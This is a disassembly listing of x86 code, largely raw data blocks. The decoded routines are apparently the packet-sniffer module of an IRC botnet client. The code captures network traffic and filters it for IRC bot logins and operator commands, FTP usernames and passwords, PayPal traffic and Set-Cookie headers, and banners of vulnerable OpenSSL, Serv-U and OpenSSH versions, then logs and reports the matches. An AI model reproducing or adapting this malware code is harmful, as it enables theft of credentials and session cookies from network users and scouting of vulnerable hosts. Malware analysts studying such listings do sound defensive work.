dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
dd 0FFFF9AF6h, 531CC483h, 2AE6DBE8h, 7D8B9002h, 0A09F3908h
dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h
dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh
dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h
dd 0FFFF3085h, 8068FFh, 56500000h, 0AF4C15FFh, 75FF004Ch
dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh
dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h
dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h
dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h
dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh
dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch
dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h
dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh
dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB00C15h
dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022AE4h
dd 3E8h, 0F23DE890h, 0E8570223h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp-10h]
push esi
push eax
nop
call near ptr 2750000h
lea eax, [ebp-114h]
push 104h
push eax
nop
call near ptr 26509B6h
lea eax, [ebp-114h]
push offset asc_434E54 ; "\\"
push eax
call sub_41BEC0
lea eax, [ebp-114h]
push offset dword_429118
push eax
call sub_41BEC0
lea eax, [ebp-114h]
push offset aAb ; "ab"
push eax
call sub_41B4C2
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_411C7A
push 1
pop eax
jmp short loc_411CF1
; ---------------------------------------------------------------------------
loc_411C7A: ; CODE XREF: ___:00411C73j
movzx eax, word ptr [ebp-4]
push dword ptr [ebp+8]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
push eax
movzx eax, word ptr [ebp-10h]
push eax
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_41BE06
push esi
call sub_41B05B
add esp, 28h
cmp dword ptr [ebp+98h], 0
jnz short loc_411CEF
push dword ptr [ebp+8]
lea eax, [ebp-314h]
push offset dword_434E24
push 200h
push eax
call sub_41B980
push 0
lea eax, [ebp-314h]
push dword ptr [ebp+94h]
push eax
lea eax, [ebp+14h]
push eax
push dword ptr [ebp+0Ch]
call sub_409A72
add esp, 24h
loc_411CEF: ; CODE XREF: ___:00411CB6j
xor eax, eax
loc_411CF1: ; CODE XREF: ___:00411C78j
pop esi
leave
retn
; ---------------------------------------------------------------------------
dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h
; DATA XREF: sub_401ACD+4508o
dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh
dd 0BB004Ch, 6A000002h, 0ECE89008h, 0FF0223F0h, 4CAEF815h
dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh
dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh
dd 434E84h, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh
dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h
dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h
dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h
dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh
dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h
dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h
dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h
dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h
dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh
dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh
dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h
dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh
dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h
dd 2AE02BE8h
db 2
byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao
dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h
dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch
dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h, 4589026Ah
dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh
dd 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h, 9821E8h
dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh
dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
dd 565959FFh, 0DF56E890h, 458B022Ah, 69106AD0h, 234C0h
dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch
dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357C868h
dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh
dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh
dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h
dd 56022ADEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h
dd 68FFFFFDh, 435798h, 9720E850h, 0C4830000h, 0D875390Ch
dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch, 9268E8D0h
dd 5659FFFFh, 2ADE4FE8h, 0BB539002h, 434EB0h, 0FFFFBFh
dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h
dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h
dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h
dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh
dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h
dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h
dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h
dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh, 50004CAFh
dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h
dd 0D075FF00h, 0FF90C9E8h, 0E85659FFh, 22ADCB0h
db 90h
; =============== S U B R O U T I N E =======================================
sub_412351 proc near ; CODE XREF: sub_412660+213p
; sub_412660+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CDCE0, eax
mov eax, offset dword_4CDCE0
retn
sub_412351 endp
; =============== S U B R O U T I N E =======================================
sub_412360 proc near ; CODE XREF: sub_412660+2BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41237A
loc_412376: ; CODE XREF: sub_412360+29j
; sub_412360+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41237A: ; CODE XREF: sub_412360+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412376
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412376
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412376
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4123C2
loc_4123BE: ; CODE XREF: sub_412360+71j
; sub_412360+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4123C2: ; CODE XREF: sub_412360+5Cj
push offset a302_0 ; "302 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a366 ; "366 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a_login_0 ; ":.login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset aLogin_0 ; ":!login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset aLogin ; ":!Login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a_login ; ":.Login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a_ident ; ":.ident"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset aIdent_0 ; ":!ident"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz loc_4123BE
push offset a_hashin ; ":.hashin"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz loc_4123BE
push offset aHashin ; ":!hashin"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412360 endp
; =============== S U B R O U T I N E =======================================
sub_412477 proc near ; CODE XREF: sub_412660+2F8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412491
loc_41248D: ; CODE XREF: sub_412477+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412491: ; CODE XREF: sub_412477+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41248D
push offset aOper_0 ; "OPER "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4124B7
loc_4124B3: ; CODE XREF: sub_412477+4Fj
; sub_412477+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4124B7: ; CODE XREF: sub_412477+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4124B3
push offset aOper ; "oper "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4124B3
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412477 endp
; =============== S U B R O U T I N E =======================================
sub_4124ED proc near ; CODE XREF: sub_412660+32Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412507
loc_412503: ; CODE XREF: sub_4124ED+29j
; sub_4124ED+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412507: ; CODE XREF: sub_4124ED+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412503
push offset aNick_1 ; "NICK "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412503
push offset a220 ; "220 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41253E
loc_41253A: ; CODE XREF: sub_4124ED+60j
; sub_4124ED+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41253E: ; CODE XREF: sub_4124ED+4Bj
push offset a230 ; "230 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41253A
push offset aUser_3 ; "USER "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41253A
push offset aPass_0 ; "PASS "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4124ED endp
; =============== S U B R O U T I N E =======================================
sub_412574 proc near ; CODE XREF: sub_412660+35Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41258E
loc_41258A: ; CODE XREF: sub_412574+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41258E: ; CODE XREF: sub_412574+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41258A
push offset aPaypal ; "paypal"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4125B4
loc_4125B0: ; CODE XREF: sub_412574+4Fj
; sub_412574+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4125B4: ; CODE XREF: sub_412574+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B0
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B0
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B0
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412574 endp
; =============== S U B R O U T I N E =======================================
sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412615
loc_412611: ; CODE XREF: sub_4125FB+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412615: ; CODE XREF: sub_4125FB+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412611
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41263B
loc_412637: ; CODE XREF: sub_4125FB+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41263B: ; CODE XREF: sub_4125FB+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412637
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4125FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412660 proc near ; DATA XREF: sub_401ACD+427Co
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41BB20
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CAF88
lea eax, [ebp+var_3B8]
push eax
call dword_4CAFF8
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_41C310
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CAFF4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_412706
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_412706: ; CODE XREF: sub_412660+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CAFA0
cmp eax, 0FFFFFFFFh
jnz short loc_41277C
call dword_4CAF08
push eax
lea eax, [ebp+var_2B8]
push offset unk_435AC8
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_412758
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A72
add esp, 14h
loc_412758: ; CODE XREF: sub_412660+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_4151AC
pop ecx
push edi
call dword_4CB00C
push [ebp+var_34]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26C0000h
loc_41277C: ; CODE XREF: sub_412660+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CAF20
cmp eax, 0FFFFFFFFh
jnz short loc_412802
call dword_4CAF08
push eax
lea eax, [ebp+var_2B8]
push offset unk_435A98
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4127DE
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A72
add esp, 14h
loc_4127DE: ; CODE XREF: sub_412660+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_4151AC
pop ecx
push edi
call dword_4CB00C
push [ebp+var_34]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26C0000h
loc_412802: ; CODE XREF: sub_412660+13Cj
mov esi, 200h
loc_412807: ; CODE XREF: sub_412660+1D6j
; sub_412660+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CAF8C
cmp [ebp+var_113AF], 6
jnz short loc_412807
push [ebp+var_113A4]
mov edi, dword_4271E4
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_412807
cmp [ebp+arg_0], 19h
jz short loc_412807
cmp edi, 6Eh
jz short loc_412807
cmp edi, 19h
jz short loc_412807
push [ebp+var_113AC]
call sub_412351
pop ecx
push dword ptr [eax]
nop
call near ptr 71AB401Ch
push eax
lea eax, [ebp+var_13B8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
push [ebp+var_113A8]
call sub_412351
add esp, 10h
push dword ptr [eax]
nop
call near ptr 71AB401Ch
push eax
lea eax, [ebp+var_BB8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_41AFE0
add esp, 10h
test eax, eax
jle short loc_412905
loc_4128D1: ; CODE XREF: sub_412660+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_4128E8
mov byte ptr [eax], 20h
loc_4128E8: ; CODE XREF: sub_412660+283j
cmp byte ptr [eax], 0Ah
jnz short loc_4128F0
mov byte ptr [eax], 20h
loc_4128F0: ; CODE XREF: sub_412660+28Bj
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_41AFE0
cmp [ebp+var_4], eax
pop ecx
jl short loc_4128D1
loc_412905: ; CODE XREF: sub_412660+26Fj
cmp [ebp+arg_0], 50h
jz loc_4129B8
cmp edi, 50h
jz loc_4129B8
lea eax, [ebp+var_1138C]
push eax
call sub_412360
test al, al
pop ecx
jz short loc_41294C
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_435A64
jmp loc_4129E7
; ---------------------------------------------------------------------------
loc_41294C: ; CODE XREF: sub_412660+2C7j
cmp edi, 50h
jz short loc_4129B8
lea eax, [ebp+var_1138C]
push eax
call sub_412477
test al, al
pop ecx
jz short loc_412982
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_435A30
jmp short loc_4129E7
; ---------------------------------------------------------------------------
loc_412982: ; CODE XREF: sub_412660+300j
cmp edi, 50h
jz short loc_4129B8
lea eax, [ebp+var_1138C]
push eax
call sub_4124ED
test al, al
pop ecx
jz short loc_4129B8
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4359FC
jmp short loc_4129E7
; ---------------------------------------------------------------------------
loc_4129B8: ; CODE XREF: sub_412660+2A9j
; sub_412660+2B2j ...
lea eax, [ebp+var_1138C]
push eax
call sub_412574
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_412A25
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_4359C4
loc_4129E7: ; CODE XREF: sub_412660+2E7j
; sub_412660+320j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41B980
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_412807
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A72
add esp, 14h
jmp loc_412807
; ---------------------------------------------------------------------------
loc_412A25: ; CODE XREF: sub_412660+36Ej
call sub_4125FB
test al, al
pop ecx
jz loc_412807
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_43598C
jmp short loc_4129E7
sub_412660 endp
; ---------------------------------------------------------------------------
byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o
dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh
dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 225DF0Eh
dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh
dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
dd 8D5014C4h, 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh
dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
